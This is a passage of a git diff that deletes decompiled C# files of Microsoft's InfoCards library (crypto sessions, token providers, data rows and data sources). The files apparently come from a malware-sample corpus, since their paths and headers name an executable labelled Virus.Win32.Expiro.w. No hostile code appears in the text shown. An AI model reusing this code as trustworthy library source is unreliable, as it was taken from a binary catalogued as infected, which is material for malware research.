"http://docs.oasis-open.org/wss/2004/xx/oasis-2004xx-wss-soap-message-security-1.1#ThumbprintSHA1" != attribute) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ServiceUnsupportedKeyIdentifierType"))); - try - { - MemoryStream memoryStream = Utility.ReadByteStreamFromBase64(reader); - int int32 = Convert.ToInt32(memoryStream.Length); - if (int32 <= 0) - return; - this.SetValue(memoryStream.GetBuffer(), 0, int32); - } - catch (FormatException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ServiceInvalidThumbPrintValue"))); - } - } - - private void ReadSelfIssuedSelector(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional("PrivatePersonalIdentifier" != reader.LocalName || "http://schemas.xmlsoap.org/ws/2005/05/identity" != reader.NamespaceURI, reader.LocalName); - this.Type = CredentialSelectorType.SelfIssuedCardIdSelector; - string data = reader.ReadElementContentAsString().Trim(); - if (string.IsNullOrEmpty(data)) - return; - this.SetValue(data); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/CredentialSelectorType.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/CredentialSelectorType.cs deleted file mode 100644 index 2678e2bf..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/CredentialSelectorType.cs +++ /dev/null @@ -1,22 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.CredentialSelectorType -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -namespace Microsoft.InfoCards -{ - internal enum CredentialSelectorType - { - InvalidSelector = -1, // 0xFFFFFFFF - X509CertificateIssuerNameSelector = 0, - X509CertificateIssuerSerialNoSelector = 1, - X509CertificateKeyHashSelector = 2, - X509CertificateKeyIdSelector = 3, - UserNameSelector = 4, - SpnSelector = 5, - SelfIssuedCardIdSelector = 6, - RsaKeyValueSelector = 7, - UserPrincipalNameSelector = 8, - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/CryptoSession.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/CryptoSession.cs deleted file mode 100644 index 0cd60d0a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/CryptoSession.cs +++ /dev/null @@ -1,232 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.CryptoSession -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Cryptography; -using System.Security.Principal; -using System.Threading; - -namespace Microsoft.InfoCards -{ - internal abstract class CryptoSession - { - private const int m_MaxSessionCount = 1073741823; - public static readonly TimeSpan MaxSessionLifetime = new TimeSpan(1, 0, 0); - private static CryptoSession.CryptoSessionDictionary s_sessionCollection = new CryptoSession.CryptoSessionDictionary(); - private static object s_syncRoot = new object(); - private Process m_process; - private int m_sessionid; - private EventHandler m_processExitHandler; - private EventHandler m_serviceStoppingHandler; - private Timer m_timer; - private bool m_isDisposed; - private object m_syncRoot; - private WindowsIdentity m_identity; - private DateTime m_expiration; - private CryptoSession.SessionType m_type; - - protected CryptoSession( - Process process, - DateTime expiration, - WindowsIdentity identity, - object key, - CryptoSession.SessionType type) - { - InfoCardTrace.Assert(null != key, "null key passed in to CryptoSession ctor"); - try - { - this.m_process = ProcessMonitor.GetProcessById(process.Id); - } - catch (ArgumentException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ProcessExitedException(SR.GetString("ServiceClientProcessExited", (object) process.Id), (Exception) ex)); - } - this.m_syncRoot = new object(); - this.m_identity = identity; - this.m_expiration = expiration; - this.m_type = type; - lock (CryptoSession.s_syncRoot) - { - int newHandle; - try - { - newHandle = CryptoSession.s_sessionCollection.GetNewHandle(); - } - catch (IndexOutOfRangeException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ServiceBusyException(SR.GetString("ServiceTooManyCryptoSessions", (object) CryptoSession.s_sessionCollection.MaxSize), (Exception) ex)); - } - bool flag = false; - try - { - this.m_processExitHandler = new EventHandler(this.OnProcessExit); - this.m_process.Exited += this.m_processExitHandler; - if (process.HasExited || this.m_process.HasExited) - throw InfoCardTrace.ThrowHelperError((Exception) new ProcessExitedException(SR.GetString("ServiceProcessHasExited"))); - TimeSpan dueTime = expiration - DateTime.UtcNow; - if (dueTime > CryptoSession.MaxSessionLifetime) - dueTime = CryptoSession.MaxSessionLifetime; - this.m_timer = new Timer(InfoCardTrace.ThunkCallback(new TimerCallback(this.OnTimeout)), (object) null, dueTime, new TimeSpan(0, 0, 0, 0, -1)); - this.m_serviceStoppingHandler = new EventHandler(this.OnServiceStopping); - InfoCardService.Stopping += this.m_serviceStoppingHandler; - CryptoSession.s_sessionCollection[newHandle] = this; - this.m_sessionid = newHandle; - flag = true; - } - finally - { - if (!flag) - CryptoSession.s_sessionCollection.Remove(newHandle); - } - } - } - - protected uint ProcessId => (uint) this.m_process.Id; - - protected Process ProcessObj => this.m_process; - - protected WindowsIdentity Identity => this.m_identity; - - protected SecurityIdentifier ClientSid => this.m_identity.User; - - protected DateTime Expiration => this.m_expiration; - - public void Write(BinaryWriter bwriter) - { - bwriter.Write((int) this.m_type); - bwriter.Write(this.m_sessionid); - bwriter.Write(this.m_expiration.ToFileTime()); - this.OnWrite(bwriter); - } - - private void OnTimeout(object state) => this.Dispose(); - - private void OnProcessExit(object sender, EventArgs e) => this.DisposeAsClient(); - - private void OnServiceStopping(object sender, EventArgs e) => this.DisposeAsClient(); - - private void DisposeAsClient() - { - try - { - WindowsImpersonationContext impersonationContext = this.m_identity.Impersonate(); - try - { - this.Dispose(); - } - finally - { - impersonationContext.Undo(); - } - } - catch (Exception ex) - { - throw; - } - } - - protected void ThrowIfDisposed() - { - if (this.m_isDisposed) - throw InfoCardTrace.ThrowHelperError((Exception) new ObjectDisposedException("CryptoSession " + (object) this.m_sessionid)); - } - - protected virtual void OnDispose() - { - } - - protected virtual void OnWrite(BinaryWriter bwriter) - { - } - - public void Dispose() - { - bool flag = false; - lock (this.m_syncRoot) - { - if (!this.m_isDisposed) - { - this.m_isDisposed = true; - flag = true; - if (this.m_serviceStoppingHandler != null) - { - InfoCardService.Stopping -= this.m_serviceStoppingHandler; - this.m_serviceStoppingHandler = (EventHandler) null; - } - if (this.m_process != null) - { - if (this.m_processExitHandler != null) - { - this.m_process.Exited -= this.m_processExitHandler; - this.m_processExitHandler = (EventHandler) null; - } - this.m_process = (Process) null; - } - if (this.m_timer != null) - { - this.m_timer.Dispose(); - this.m_timer = (Timer) null; - } - this.OnDispose(); - } - } - if (!flag) - return; - lock (CryptoSession.s_syncRoot) - CryptoSession.s_sessionCollection.Remove(this.m_sessionid); - } - - public static CryptoSession Create( - Process process, - DateTime expiration, - WindowsIdentity identity, - RSACryptoServiceProvider key) - { - return (CryptoSession) new AsymmetricCryptoSession(process, expiration, identity, key); - } - - public static CryptoSession Create( - Process process, - DateTime expiration, - WindowsIdentity identity, - byte[] key) - { - return (CryptoSession) new SymmetricCryptoSession(process, expiration, identity, key); - } - - public static CryptoSession Find( - int sessionId, - uint processId, - SecurityIdentifier clientSid) - { - CryptoSession cryptoSession; - lock (CryptoSession.s_syncRoot) - { - cryptoSession = CryptoSession.s_sessionCollection.ContainsHandle(sessionId) ? CryptoSession.s_sessionCollection[sessionId] : throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(SR.GetString("ServiceUnknownCryptoSessionId"))); - if ((int) cryptoSession.ProcessId != (int) processId) - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(SR.GetString("ServiceUnknownCryptoSessionId"))); - if (cryptoSession.ClientSid != clientSid) - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(SR.GetString("ServiceUnknownCryptoSessionId"))); - } - return cryptoSession; - } - - private class CryptoSessionDictionary : HandleDictionary - { - } - - protected enum SessionType - { - Asymmetric = 1, - Symmetric = 2, - Transfrom = 3, - Hash = 4, - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/CustomTokenProvider.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/CustomTokenProvider.cs deleted file mode 100644 index 194cfa91..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/CustomTokenProvider.cs +++ /dev/null @@ -1,94 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.CustomTokenProvider -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.ObjectModel; -using System.IdentityModel.Policy; -using System.IdentityModel.Selectors; -using System.IdentityModel.Tokens; -using System.ServiceModel; -using System.ServiceModel.Security.Tokens; - -namespace Microsoft.InfoCards -{ - internal class CustomTokenProvider : SecurityTokenProvider, IDisposable - { - private InfoCardPolicy m_policy; - private InfoCard m_card; - private IssuedSecurityTokenParameters m_parameters; - private TokenDescriptor m_token; - private EndpointAddress m_target; - private SelfIssuedSamlTokenFactory m_tokenFactory; - private bool m_isSelfIssuedCreds; - private ProtocolProfile m_protocolProfile; - private SelfIssuedAuthProofToken m_proofToken; - - public CustomTokenProvider( - IssuedSecurityTokenParameters parameters, - InfoCard card, - EndpointAddress target, - bool isSelfIssuedCreds, - ProtocolProfile profile) - { - this.m_isSelfIssuedCreds = isSelfIssuedCreds; - this.m_card = card; - this.m_parameters = parameters; - this.m_target = target; - this.m_protocolProfile = profile; - this.ValidatePolicy(); - this.m_tokenFactory = new SelfIssuedSamlTokenFactory(); - } - - public void Dispose() - { - if (this.m_token != null) - { - this.m_token.Dispose(); - this.m_token = (TokenDescriptor) null; - } - if (this.m_proofToken == null) - return; - this.m_proofToken.Dispose(); - this.m_proofToken = (SelfIssuedAuthProofToken) null; - } - - private void ValidatePolicy() - { - try - { - this.m_policy = PolicyFactory.CreatePolicyForCustomTokenProvider(this.m_target, this.m_parameters, this.m_protocolProfile); - this.m_policy.SetRecipientInfo(this.m_policy.ImmediateTokenRecipient, (string) null, 0U); - if (this.m_isSelfIssuedCreds) - this.m_policy.ThrowIfNonPpidClaimsPresent(); - this.m_policy.Validate(); - } - catch (Exception ex) - { - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("FailedReadingIPSTSPolicy"), ex)); - throw; - } - } - - protected override SecurityToken GetTokenCore(TimeSpan timeout) - { - StoreConnection connection = StoreConnection.GetConnection(); - this.m_card.Connection = connection; - try - { - this.m_token = this.m_tokenFactory.CreateToken(this.m_card, (TokenFactoryCredential) null, this.m_policy, false); - this.m_proofToken = this.m_token.SymmetricProof != null ? new SelfIssuedAuthProofToken(new InMemorySymmetricSecurityKey(this.m_token.SymmetricProof.Key), this.m_token.ExpirationTime) : new SelfIssuedAuthProofToken(this.m_card.GetPrivateCryptography(this.m_policy.Recipient.GetIdentifier()), this.m_token.ExpirationTime); - return (SecurityToken) new GenericXmlSecurityToken(this.m_token.ProtectedToken, (SecurityToken) this.m_proofToken, this.m_token.EffectiveTime, this.m_token.ExpirationTime, (SecurityKeyIdentifierClause) new SamlAssertionKeyIdentifierClause(this.m_token.TokenId), (SecurityKeyIdentifierClause) null, (ReadOnlyCollection) null); - } - finally - { - connection.Close(); - this.m_card.Connection = (StoreConnection) null; - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/DataAccessException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/DataAccessException.cs deleted file mode 100644 index 6407e569..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/DataAccessException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.DataAccessException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class DataAccessException : InfoCardBaseException - { - private const int HRESULT = -1073413887; - - public DataAccessException() - : base(-1073413887) - { - } - - public DataAccessException(string message) - : base(-1073413887, message) - { - } - - public DataAccessException(string message, Exception inner) - : base(-1073413887, message, inner) - { - } - - protected DataAccessException(SerializationInfo si, StreamingContext sc) - : base(-1073413887, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/DataBlob.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/DataBlob.cs deleted file mode 100644 index 275fbf54..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/DataBlob.cs +++ /dev/null @@ -1,16 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.DataBlob -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; - -namespace Microsoft.InfoCards -{ - internal struct DataBlob - { - public int cbData; - public IntPtr pbData; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/DataRow.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/DataRow.cs deleted file mode 100644 index 957e394b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/DataRow.cs +++ /dev/null @@ -1,116 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.DataRow -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; - -namespace Microsoft.InfoCards -{ - internal class DataRow - { - private string m_instanceId; - private string m_sourceId; - private int m_localId; - private int m_objectType; - private long m_lastChange; - private int m_objectSize; - private GlobalId m_globalId; - private byte[] m_buffer; - private DataRowIndexBuffer m_indexBuffer; - - public DataRow() - : this((string) null, (string) null) - { - } - - private DataRow(string instanceId, string sourceId) - { - this.m_instanceId = instanceId; - this.m_sourceId = sourceId; - this.m_indexBuffer = new DataRowIndexBuffer(); - } - - public GlobalId GlobalId - { - get => this.m_globalId; - set - { - this.m_globalId = !(GlobalId.Empty == value) ? value : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (value)); - this.SetIndexValue("ix_globalid", (object) value); - } - } - - public string InstanceId - { - get => this.m_instanceId; - internal set => this.m_instanceId = value; - } - - public string SourceId - { - get => this.m_sourceId; - internal set => this.m_sourceId = value; - } - - public long LastChange - { - get => this.m_lastChange; - internal set => this.m_lastChange = value; - } - - public int LocalId - { - get => this.m_localId; - internal set => this.m_localId = value; - } - - public int ObjectType - { - get => this.m_objectType; - set - { - this.m_objectType = value; - this.SetIndexValue("ix_objecttype", (object) value); - } - } - - internal DataRowIndexBuffer IndexBuffer => this.m_indexBuffer; - - public void SetDataField(byte[] buffer) => this.SetDataField(buffer, buffer.Length); - - public void SetDataField(byte[] buffer, int size) - { - this.m_buffer = buffer; - this.m_objectSize = size; - } - - public byte[] GetDataField() => this.m_buffer; - - public void SetMultiIndexValue(string name, params object[][] multiValues) - { - IndexObject[] indexObjects = new IndexObject[multiValues.Length]; - for (int index = 0; index < multiValues.Length; ++index) - indexObjects[index] = new IndexObject(multiValues[index]); - this.m_indexBuffer.SetIndexValues(name, indexObjects); - } - - public void SetIndexValue(string name, params object[] values) - { - object[][] objArray = new object[values.Length][]; - for (int index = 0; index < objArray.Length; ++index) - objArray[index] = new object[1]{ values[index] }; - this.SetMultiIndexValue(name, objArray); - } - - internal static unsafe DataRow Create(EncryptedObjectHeader* pHeader, DataSource source) => new DataRow(source.InstanceId, source.SourceId) - { - LastChange = pHeader->LastChange, - ObjectType = pHeader->ObjectType, - LocalId = pHeader->LocalId, - GlobalId = pHeader->GlobalId, - m_objectSize = pHeader->DataSize - }; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/DataRowIndexBuffer.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/DataRowIndexBuffer.cs deleted file mode 100644 index a97aa8de..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/DataRowIndexBuffer.cs +++ /dev/null @@ -1,45 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.DataRowIndexBuffer -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System.Collections.Generic; - -namespace Microsoft.InfoCards -{ - internal class DataRowIndexBuffer - { - private Dictionary> m_objects; - - public DataRowIndexBuffer() => this.m_objects = new Dictionary>(); - - public string[] GetIndexNames() => new List((IEnumerable) this.m_objects.Keys).ToArray(); - - public List this[string name] - { - get - { - if (!this.m_objects.ContainsKey(name)) - this.m_objects.Add(name, new List()); - return this.m_objects[name]; - } - } - - public void Clear() => this.m_objects.Clear(); - - public void ClearIndexValues(string name) => this.m_objects.Remove(name); - - public void AddIndexValue(string name, IndexObject obj) => this[name].Add(obj); - - public void AddIndexValues(string name, IndexObject[] objs) => this[name].AddRange((IEnumerable) objs); - - public void SetIndexValues(string name, IndexObject[] indexObjects) - { - this[name].Clear(); - this[name].AddRange((IEnumerable) indexObjects); - } - - public int GetValueCount(string name) => !this.m_objects.ContainsKey(name) ? 0 : this.m_objects[name].Count; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/DataSource.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/DataSource.cs deleted file mode 100644 index 1676db58..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/DataSource.cs +++ /dev/null @@ -1,328 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.DataSource -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.Globalization; -using System.Threading; - -namespace Microsoft.InfoCards -{ - internal abstract class DataSource : IDisposable - { - private string m_instanceId; - private bool m_isLoaded; - private ReaderWriterLock m_lock; - private bool m_isDisposed; - private string m_sourceId; - private bool m_isCleared; - - protected DataSource(string instanceId, string sourceId) - { - this.m_instanceId = instanceId; - this.m_sourceId = sourceId; - this.m_lock = new ReaderWriterLock(); - } - - public string SourceId - { - get - { - this.ThrowIfDisposed(); - return this.m_sourceId; - } - } - - public bool IsDisposed => this.m_isDisposed; - - public bool IsLoaded - { - get - { - this.ThrowIfDisposed(); - return this.m_isLoaded; - } - } - - public bool IsCleared - { - get => this.m_isCleared; - set => this.m_isCleared = value; - } - - protected internal string InstanceId - { - get - { - this.ThrowIfDisposed(); - return this.m_instanceId; - } - set - { - this.ThrowIfDisposed(); - this.m_instanceId = value; - } - } - - public bool IsProcessingTransaction() - { - this.ThrowIfDisposed(); - this.ThrowIfNotLoaded(); - return this.m_lock.IsWriterLockHeld; - } - - public void BeginTransaction() - { - this.ThrowIfWriteLockHeld(); - this.ThrowIfDisposed(); - this.ThrowIfNotLoaded(); - this.m_lock.AcquireWriterLock(0); - this.OnBeginTransaction(); - } - - public void CommitTransaction() - { - this.ThrowIfDisposed(); - this.ThrowIfNotLoaded(); - this.ThrowIfWriteLockNotHeld(); - this.OnCommitTransaction(); - this.m_lock.ReleaseWriterLock(); - } - - public void RollbackTransaction() - { - this.ThrowIfDisposed(); - this.ThrowIfNotLoaded(); - this.ThrowIfWriteLockNotHeld(); - this.OnRollbackTransaction(); - this.m_lock.ReleaseWriterLock(); - } - - public void Load() - { - this.ThrowIfDisposed(); - this.OnLoad(); - this.m_isLoaded = true; - } - - public void Clear() - { - this.ThrowIfLoaded(); - this.ThrowIfDisposed(); - this.OnClear(); - this.m_isLoaded = false; - this.m_isCleared = true; - } - - public void Close() - { - if (!this.m_isLoaded) - return; - this.OnClose(); - this.m_isLoaded = false; - } - - public DataRow GetSingleRow(params QueryParameter[] objectQuery) => this.GetSingleRow(QueryDetails.FullRow, objectQuery); - - public DataRow GetSingleRow(QueryDetails details, params QueryParameter[] objectQuery) - { - IList dataRowList = this.Query(details, objectQuery); - if (dataRowList == null || dataRowList.Count == 0) - return (DataRow) null; - return dataRowList.Count <= 1 ? dataRowList[0] : throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreMoreThanOneRowReturnedInSingleMatchQuery"))); - } - - public IList Query(params QueryParameter[] objectQuery) => this.Query(QueryDetails.FullRow, objectQuery); - - public IList Query( - QueryDetails details, - params QueryParameter[] objectQuery) - { - this.ThrowIfDisposed(); - this.ThrowIfNotLoaded(); - if (objectQuery == null || objectQuery.Length == 0) - throw InfoCardTrace.ThrowHelperArgumentNull("query"); - if (!this.IsValidQueryDetails(details)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentException(nameof (details))); - if (details == QueryDetails.None) - return (IList) null; - LocalIdCollection localIdCollection1 = (LocalIdCollection) null; - bool flag = false; - try - { - try - { - } - finally - { - this.m_lock.AcquireReaderLock(0); - flag = true; - } - foreach (QueryParameter match in objectQuery) - { - LocalIdCollection localIdCollection2 = new LocalIdCollection(); - if ("localid" == match.IndexName.ToLower(CultureInfo.InvariantCulture)) - { - for (int index1 = 0; index1 < match.Count; ++index1) - { - for (int index2 = 0; index2 < match[index1].ObjectList.Length; ++index2) - { - int int32 = Convert.ToInt32(match[index1].ObjectList[index2], (IFormatProvider) NumberFormatInfo.InvariantInfo); - localIdCollection2.Add(int32); - } - } - } - else if (!this.SingleMatch(match, localIdCollection2)) - { - if (localIdCollection1 != null) - { - localIdCollection1.Clear(); - break; - } - break; - } - if (localIdCollection1 == null) - localIdCollection1 = localIdCollection2; - else - localIdCollection1.Filter(localIdCollection2); - } - } - finally - { - if (flag) - this.m_lock.ReleaseReaderLock(); - } - if (localIdCollection1 == null || localIdCollection1.Count == 0) - return (IList) null; - List dataRowList = new List(localIdCollection1.Count); - foreach (int key in (IEnumerable) localIdCollection1.Keys) - { - if (QueryDetails.Identifiers == details) - dataRowList.Add(new DataRow() - { - LocalId = key, - SourceId = this.SourceId, - InstanceId = this.InstanceId - }); - else - dataRowList.Add(this.ReadRow(key, details)); - } - return (IList) dataRowList; - } - - public void Save(DataRow row) - { - this.ThrowIfDisposed(); - this.ThrowIfNotLoaded(); - this.ThrowIfWriteLockNotHeld(); - if (row == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (row)); - if ((!string.IsNullOrEmpty(row.InstanceId) || !string.IsNullOrEmpty(row.SourceId)) && (string.Compare(row.InstanceId, this.InstanceId, StringComparison.Ordinal) != 0 || string.Compare(row.SourceId, this.SourceId, StringComparison.Ordinal) != 0)) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreRowOwnedByOtherDataSource"))); - row.LastChange = DateTime.Now.ToFileTimeUtc(); - this.WriteRow(row); - row.InstanceId = this.InstanceId; - row.SourceId = this.SourceId; - } - - public void Delete(DataRow row) - { - this.ThrowIfDisposed(); - this.ThrowIfNotLoaded(); - this.ThrowIfWriteLockNotHeld(); - if (row == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (row)); - if (row.InstanceId == null || row.SourceId == null) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreDataSourceRowNotOwned"))); - if (string.Compare(row.InstanceId, this.InstanceId, StringComparison.Ordinal) != 0 || string.Compare(row.SourceId, this.SourceId, StringComparison.Ordinal) != 0) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreRowOwnedByOtherDataSource"))); - this.RemoveObject(row.LocalId); - } - - protected internal virtual bool IsValidQueryDetails(QueryDetails details) - { - if (QueryDetails.IndexData == (details & QueryDetails.IndexData)) - return QueryDetails.FullRowAndIndexes == (details & QueryDetails.FullRowAndIndexes); - if (QueryDetails.DataBlob == (details & QueryDetails.DataBlob)) - return QueryDetails.FullRow == (details & QueryDetails.FullRow); - if (QueryDetails.Header == (details & QueryDetails.Header)) - return QueryDetails.FullHeader == (details & QueryDetails.FullHeader); - return QueryDetails.Identifiers == (details & QueryDetails.Identifiers) ? QueryDetails.Identifiers == (details & QueryDetails.Identifiers) : QueryDetails.None == details; - } - - protected internal virtual void OnBeginTransaction() => this.ThrowIfDisposed(); - - protected internal virtual void OnCommitTransaction() => this.ThrowIfDisposed(); - - protected internal virtual void OnRollbackTransaction() => this.ThrowIfDisposed(); - - protected internal virtual void OnLoad() => 